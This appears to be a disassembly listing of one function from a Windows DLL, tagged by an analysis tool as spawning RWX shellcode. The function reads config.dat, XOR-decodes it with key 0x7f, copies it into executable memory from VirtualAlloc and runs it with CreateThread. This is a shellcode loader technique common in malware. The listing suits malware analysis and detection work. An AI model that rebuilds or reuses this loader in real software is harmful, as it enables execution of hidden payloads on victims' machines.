Function at 0x180001290
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x170
mov rax, qword [0x180008040]
xor rax, rsp
mov qword [rsp + 0x160], rax
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x50]
call fcn.1800022b0
nop
cmp qword [rsp + 0xe0], 0
jne 0x18000131a
lea rdx, str.Failed_to_open_file:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180002800
mov rcx, rax
lea rdx, str.config.dat
call fcn.180002800
mov rcx, rax
lea rdx, [0x1800029d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ebx, ebx
jmp 0x180001501
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
mov rcx, qword [rsp + 0x30]
add rcx, qword [rsp + 0x38]
call fcn.180002d90
mov rdi, rax
mov r8, qword [rsp + 0x38]
add r8, qword [rsp + 0x30]
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x60]
call fcn.1800026d0
test rax, rax
jne 0x180001391
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x50]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rdx, qword [rsp + 0x38]
add rdx, qword [rsp + 0x30]
xor ebx, ebx
mov r8d, ebx
test edx, edx
je 0x180001417
cmp edx, 0x40
jb 0x18000141c
mov r9d, edx
and r9d, 0xffffffc0
movdqa xmm2, xmmword [0x1800045f0]
lea r10d, [rbx + 0x20]
nop dword [rax]
mov eax, r8d
movdqu xmm0, xmmword [rax + rdi]
xorps xmm0, xmm2
movdqu xmmword [rax + rdi], xmm0
lea eax, [r10 - 0x10]
movdqu xmm0, xmmword [rax + rdi]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + rdi], xmm1
mov eax, r10d
movdqu xmm0, xmmword [rax + rdi]
xorps xmm0, xmm2
movdqu xmmword [rax + rdi], xmm0
lea eax, [r10 + 0x10]
movdqu xmm0, xmmword [rax + rdi]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + rdi], xmm1
add r8d, 0x40
add r10d, 0x40
cmp r8d, r9d
jb 0x1800013c0
cmp r8d, edx
jae 0x18000143d
mov eax, r8d
add rax, rdi
sub edx, r8d
mov ecx, edx
nop word [rax + rax]
xor byte [rax], 0x7f
lea rax, [rax + 1]
sub rcx, 1
jne 0x180001430
lea rdx, str.code_loaded_successfully_from_file:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180002800
mov rcx, rax
lea rdx, str.config.dat
call fcn.180002800
mov rcx, rax
lea rdx, [0x1800029d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x30]
add rcx, qword [rsp + 0x38]
mov ebp, ecx
mov r9d, 0x40
mov r8d, 0x1000
mov edx, ecx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x1800014be
lea rdx, str.Failed_to_allocate_memory
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180002800
mov rcx, rax
lea rdx, [0x1800029d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x180001501
mov r8, rbp
mov rdx, rdi
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov r8, rsi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x1800014f3
lea rdx, str.Failed_to_create_thread
jmp 0x1800014a0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
lea rcx, [rsp + 0x50]
call fcn.180001540
mov eax, ebx
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.180002d00
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret